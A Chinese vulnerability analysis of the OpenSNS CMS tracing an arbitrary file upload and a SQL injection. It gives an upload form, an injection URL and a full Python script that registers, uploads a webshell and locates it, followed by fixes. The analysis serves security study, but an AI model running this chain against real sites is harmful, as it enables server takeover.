0x01前言 前些天表哥们去打awd,碰到这个opensns,百度了几个漏洞都没利用成功,最后终于在Google上找到了这个利用方法(http://0day5.com/archives/4280/ ),然而比赛也快结束了。。。。这套cms基于ThinkPHP框架开发,感觉有必要跟一跟这个漏洞。话不多说,开始!
0x02漏洞分析 问题出在/Application/Weibo/Controller/ShareController.class.php中的doSendShare函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public  function  doSendShare (    $aContent  = I ('post.content' ,'' ,'text' );     $aQuery  = I ('post.query' ,'' ,'text' );     parse_str ($aQuery ,$feed_data );     if (empty ($aContent )){          $this ->error (L ('_ERROR_CONTENT_CANNOT_EMPTY_' ));     }     if (!is_login ()){         $this ->error (L ('_ERROR_SHARE_PLEASE_FIRST_LOGIN_' ));     }     $new_id  = send_weibo ($aContent , 'share' ,         $feed_data ,$feed_data ['from' ]);     $info  =  D ('Weibo/Share' )->getInfo ($feed_data ); ...... 
可以看到$aQuery和$aContent都是通过post传递过来的,然后下面对$aQuery进行操作,结果保存在$feed_data中。
1 parse_str ($aQuery ,$feed_data );
跟踪$feed_data变量,可以看到它进入了getInfo函数。/Application/Weibo/Model/ShareModel.class.php
1 2 3 4 5 6 7 8 9 public  function  getInfo ($param         $info  = array ();         if (!empty ($param ['app' ]) && !empty ($param ['model' ]) && !empty ($param ['method' ])){             $info  = D ($param ['app' ].'/' .$param ['model' ])->$param ['method' ]($param ['id' ]);         }         return  $info ; } 
这里这个D函数是ThinkPH中的一个实例化类的函数,跟一下看看:/ThinkPHP/Common/functions.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 function  D ($name  = '' , $layer  = ''     if  (empty ($name )) return  new  Think\Model ;     static  $_model  = array ();     $layer  = $layer  ? : C ('DEFAULT_M_LAYER' );     if  (isset ($_model [$name  . $layer ]))         return  $_model [$name  . $layer ];     $class  = parse_res_name ($name , $layer );     if  (class_exists ($class )) {         $model  = new  $class (basename ($name ));     } elseif  (false  === strpos ($name , '/' )) {                  if  (!C ('APP_USE_NAMESPACE' )) {             import ('Common/'  . $layer  . '/'  . $class );         } else  {             $class  = '\\Common\\'  . $layer  . '\\'  . $name  . $layer ;         }         $model  = class_exists ($class ) ? new  $class ($name ) : new  Think\Model ($name );     } else  {         \Think\Log ::record ('D方法实例化没找到模型类'  . $class , Think\Log ::NOTICE );         $model  = new  Think\Model (basename ($name ));     }     $_model [$name  . $layer ] = $model ;     return  $model ; } 
这个函数有两个参数,但是我们只能控制第一个参数的值,也就是形参$name的值。那么可以看到如果$layer为空的话,就取C(‘DEFAULT_M_LAYER’)的值,那么这个值是多少呢?/ThinkPHP/Conf/convention.php中有:
1 'DEFAULT_M_LAYER'       =>  'Model', // 默认的模型层名称 
那么就是取默认的值,也就是Model。
1 $info  = D ($param ['app' ].'/' .$param ['model' ])->$param ['method' ]($param ['id' ]);
只传递了一个参数,$param[‘model’]是要调用的模块,$param[‘method’]是方法(只能是public),$param[‘id’]是所调用方法的第一个参数。
在/Application/Home/Model/FileModel.class.php这个文件中有一个文件上传函数,具体看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public  function  upload ($files , $setting , $driver  = 'Local' , $config  = null 	 	$setting ['callback' ] = array ($this , 'isFile' ); 	$Upload  = new  \Think\Upload ($setting , $driver , $config ); 	$info    = $Upload ->upload ($files ); 	 	$this ->_auto[] = array ('location' , 'Ftp'  === $driver  ? 1  : 0 , self ::MODEL_INSERT ); 	if ($info ){  		foreach  ($info  as  $key  => &$value ) { 			 			if (isset ($value ['id' ]) && is_numeric ($value ['id' ])){ 				continue ; 			} 			 			if ($this ->create ($value ) && ($id  = $this ->add ())){ 				$value ['id' ] = $id ; 			} else  { 				 				unset ($info [$key ]); 			} 		} 		return  $info ;  	} else  { 		$this ->error = $Upload ->getError (); 		return  false ; 	} } 
这里调用了ThinkPHP的upload函数,继续跟踪。
1 $info    = $Upload ->upload ($files );
位置:/ThinkPHP/Library/Think/Upload.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 public  function  upload ($files  = ''      {                          $files  = $this ->dealFiles ($files );         foreach  ($files  as  $key  => $file ) {             if  (!isset ($file ['key' ])) $file ['key' ] = $key ;                          if  (isset ($finfo )) {                 $file ['type' ] = finfo_file ($finfo , $file ['tmp_name' ]);             }                          $file ['ext' ] = pathinfo ($file ['name' ], PATHINFO_EXTENSION);                          if  (!$this ->check ($file )) {                 continue ;             }                          if  ($this ->hash) {                 $file ['md5' ] = md5_file ($file ['tmp_name' ]);                 $file ['sha1' ] = sha1_file ($file ['tmp_name' ]);             }                          $data  = call_user_func ($this ->callback, $file );             if  ($this ->callback && $data ) {                 $drconfig  = $this ->driverConfig;                 $fname  = str_replace ('http://'  . $drconfig ['domain' ] . '/' , '' , $data ['url' ]);                 if  (file_exists ('.'  . $data ['path' ])) {                     $info [$key ] = $data ;                     continue ;                 } elseif  ($this ->uploader->info ($fname )) {                     $info [$key ] = $data ;                     continue ;                 } elseif  ($this ->removeTrash) {                     call_user_func ($this ->removeTrash, $data );                  }             }                          $savename  = $this ->getSaveName ($file );             if  (false  == $savename ) {                 continue ;             } else  {                 $file ['savename' ] = $savename ;                              }                          $subpath  = $this ->getSubPath ($file ['name' ]);             if  (false  === $subpath ) {                 continue ;             } else  {                 $file ['savepath' ] = $this ->savePath . $subpath ;             }                          $ext  = strtolower ($file ['ext' ]);             if  (in_array ($ext , array ('gif' , 'jpg' , 'jpeg' , 'bmp' , 'png' , 'swf' ))) {                 $imginfo  = getimagesize ($file ['tmp_name' ]);                 if  (empty ($imginfo ) || ($ext  == 'gif'  && empty ($imginfo ['bits' ]))) {                     $this ->error = '非法图像文件!' ;                     continue ;                 }             }             $file ['rootPath' ] = $this ->config['rootPath' ];             $name  = get_addon_class ($this ->driver);             if  (class_exists ($name )) {                 $class  = new  $name ();                 if  (method_exists ($class , 'uploadDealFile' )) {                     $class ->uploadDealFile ($file );                 }             }                          if  ($this ->uploader->save ($file , $this ->replace)) {                 unset ($file ['error' ], $file ['tmp_name' ]);                 $info [$key ] = $file ;             } else  {                 $this ->error = $this ->uploader->getError ();             }         }         if  (isset ($finfo )) {             finfo_close ($finfo );         }         return  empty ($info ) ? false  : $info ;     } 
注释都写得很详细,可以看到文件上传检测调用了一个check函数,跟一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private  function  check ($file     {                            if  (!$this ->checkMime ($file ['type' ])) {            $this ->error = '上传文件MIME类型不允许!' ;            return  false ;        }                if  (!$this ->checkExt ($file ['ext' ])) {            $this ->error = '上传文件后缀不允许' ;            return  false ;        }                return  true ;    } 
前面的部分省略,重点看文件mime类型和文件后缀的检测
1 2 3 4 5 6 7 8 9 private  function  checkExt ($ext      {        return  empty ($this ->config['exts' ]) ? true  : in_array (strtolower ($ext ), $this ->exts);     } private  function  checkMime ($mime      {        return  empty ($this ->config['mimes' ]) ? true  : in_array (strtolower ($mime ), $this ->mimes);     } 
可以看到这两个检测函数都是去查看$this->config中相对应的成员,如果为空直接返回true。看一下$config:
1 2 3 4 5 6 private  $config  = array (        'mimes'  => array (),          'maxSize'  => 0 ,          'exts'  => array (),               ); 
这就意味着我们可以上传任意文件!现在还有几个头疼的问题就是我们不知道上传路径是什么,文件上传之后有没有被改名,现在我们回到upload函数中
1 2 3 4 5 6 7 8 $savename  = $this ->getSaveName ($file );if  (false  == $savename ) {    continue ; } else  {     $file ['savename' ] = $savename ;      } 
跟进getSaveName函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private  function  getSaveName ($file      {        $rule  = $this ->saveName;         if  (empty ($rule )) {                           $filename  = substr (pathinfo ("_{$file['name']} " , PATHINFO_FILENAME), 1 );             $savename  = $filename ;         } else  {             $savename  = $this ->getName ($rule , $file ['name' ]);             if  (empty ($savename )) {                 $this ->error = '文件命名规则错误!' ;                 return  false ;             }         }         $ext  = empty ($this ->config['saveExt' ]) ? $file ['ext' ] : $this ->saveExt;         return  $savename  . '.'  . $ext ;     } 
首先看一下saveName的值,依然是在config中:
1 'saveName'  => array ('uniqid' , '' ), 
$rule不为空,上传的文件就一定会被重命名,之后$rule又进入了getName函数,继续跟
1 2 3 4 5 6 7 8 9 10 11 12 13 private  function  getName ($rule , $filename     {       $name  = '' ;                } elseif  (is_string ($rule )) {             if  (function_exists ($rule )) {                $name  = call_user_func ($rule );            } else  {                $name  = $rule ;            }        }        return  $name ;    } 
上面config中的uniqid是php内置的函数,掏出小本本来查一查。
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
 
上传文件命名的流程就很清晰了,首先利用uniqid()生成一个唯一id,然后拼接后缀名,对任意文件上传是没有影响的。
1 2 3 4 5 6 7 8 9 10 11 12 13 <html > <body > <form  action ="http://127.0.0.1/opensns/index.php?s=/weibo/share/doSendShare.html"  method ="post"  enctype ="multipart/form-data" ><label  for ="file" > Filename:</label > <input  type ="file"  name ="file_img"  id ="file"  />  <br  /> <input  type ="text"  name ="content"  value ="123"  id ="1"  /> <input  type ="text"  name ="query"  id ="2"  value ="app=Home&model=File&method=upload&id=" /> <input  type ="submit"  name ="submit"  value ="Submit"  /> </form > </body > </html > 
利用这个表单上传即可,但是。。。上传完了没有回显,惊不惊喜?意不意外?/Application/Home/Model/FileModel.class.php中的upload函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if ($info ){     foreach  ($info  as  $key  => &$value ) {            if (isset ($value ['id' ]) && is_numeric ($value ['id' ])){         continue ;     }          if ($this ->create ($value ) && ($id  = $this ->add ())){ 	$value ['id' ] = $id ;     } else  {              unset ($info [$key ]);    } } return  $info ; 
大体看了看create和add函数,都是与数据库有关的操作,也就是说我们上传文件的信息保存在数据库中了。这时候就要请出seay代码审计系统中的神器——Mysql监控了。利用上面的表单上传一个文件,在mysql监控中搜索INSERT即可找到对应的表为ocenter_file。
从数据库里获取数据最好的方法是什么?当然是注入了!所以大牛轻描淡写的又挖了一枚注入,再膜一波。。。。。Application/Ucenter/Controller/IndexController.class.php的information函数中
1 2 3 4 5 public  function  information ($uid  = null     {                       $user  = query_user (array ('nickname' , 'signature' , 'email' , 'mobile' , 'rank_link' , 'sex' , 'pos_province' , 'pos_city' , 'pos_district' , 'pos_community' ), $uid ); 
继续跟进query_user函数/Application/Common/Model/UserModel.class.php
1 2 3 4 5 6 7 8 9 10 11 12 function  query_user ($pFields  = null , $uid  = 0      {        $user_data  = array ();         $fields  = $this ->getFields ($pFields );         $uid  = (intval ($uid ) != 0  ? $uid  : get_uid ());                  list ($cacheResult , $fields ) = $this ->getCachedFields ($fields , $uid );         $user_data  = $cacheResult ;                  list ($user_data , $fields ) = $this ->getNeedQueryData ($user_data , $fields , $uid ); 
注意看这里
1 $uid  = (intval ($uid ) != 0  ? $uid  : get_uid ());
这里只是在判断的时候讲$uid intval了一下,实际并没有对$uid造成任何影响,我们构造的语句依然可以带入数据库执行。后面$uid又进入了getNeedQueryData函数,跟下去
1 2 3 4 5 6 7 private  function  getNeedQueryData ($user_data , $fields , $uid     {       $need_query  = array_intersect ($this ->table_fields, $fields );                if  (!empty ($need_query )) {            $db_prefix =C ('DB_PREFIX' );            $query_results  = D ('' )->query ('select '  . implode (',' , $need_query ) . " from `{$db_prefix} member`,`{$db_prefix} ucenter_member` where uid=id and uid={$uid}  limit 1" );            
可以看到$uid未做任何处理直接拼接语句,我们就可以通过这个注入来获取我们shell的文件名和路径了。
1 http://127.0.0.1/opensns/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20where%20savename%20like%200x252e706870%20order%20by%20id%20desc%20limit%200,1)%23.html 
0x03漏洞利用 两个漏洞的利用方式已经在上面的分析过程中给出了,这里放一个py的利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 import  requestsimport  randomimport  res = requests.Session() url = 'http://10.10.10.139/opensns/'  def  getRandomName ():    name = ''      for  i in  range (4 ):         name += chr (random.randint(97 , 122 ))     return  name def  register ():    global  s     registerUrl = url + 'index.php?s=/ucenter/member/register.html'      nickname = getRandomName()          headers = {         'Referer' : registerUrl,         'Content-Type' : 'application/x-www-form-urlencoded' ,     }     data = {         'role' : '1' ,         'username' : nickname+'@test.com' ,          'nickname' : nickname,          'password' : '123456' ,          'reg_type' : 'email' ,     }     r = s.post(registerUrl, data=data, headers=headers)     return  nickname def  login (username ):    global  s     loginUrl = url + 'index.php?s=/ucenter/member/login.html'      headers = {         'Referer' : loginUrl,         'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8' ,              }     data = {         'username' : username,         'password' : '123456' ,         'remember' : '0' ,         'from' : loginUrl,     }     r = s.post(loginUrl, data=data, headers=headers)      def  upload ():    global  s     uploadUrl = url + 'index.php?s=/weibo/share/doSendShare.html'      file = {'file_img' : open ('l.php' , 'r' )}     data = {         'content' : '123' ,         'query' : 'app=Home&model=File&method=upload&id=' ,     }     r = s.post(uploadUrl, data=data, files=file)      def  getShell ():    global  s     exp = url + 'index.php?s=/ucenter/index/information/uid/23333 union (select 1,2,concat(savepath,savename),4 from ocenter_file where savename like 0x252e706870 order by id desc limit 0,1)#.html'      r = s.get(exp)          shellUrl = url + 'Uploads/'  + re.findall(r'>(.*?)</attr>' , r.text)[0 ]     r = s.get(shellUrl)     return  shellUrl if  r.status_code == 200  else  False  def  main ():    username = register()     login(username)     upload()     shell = getShell()     if  shell:         print ('[*] Getshell! Url is '  + shell)     else :         print ('[-] Something Wrong...' ) if  __name__ == '__main__' :    main()      
0x04漏洞修复 
上传:在/ThinkPHP/Library/Think/Upload.class.php的config变量中设置允许上传的文件mime和文件后缀名。 
注入:在Application/Ucenter/Controller/IndexController.class.php的information函数中先对$uid进行intval处理,在进行后续操作。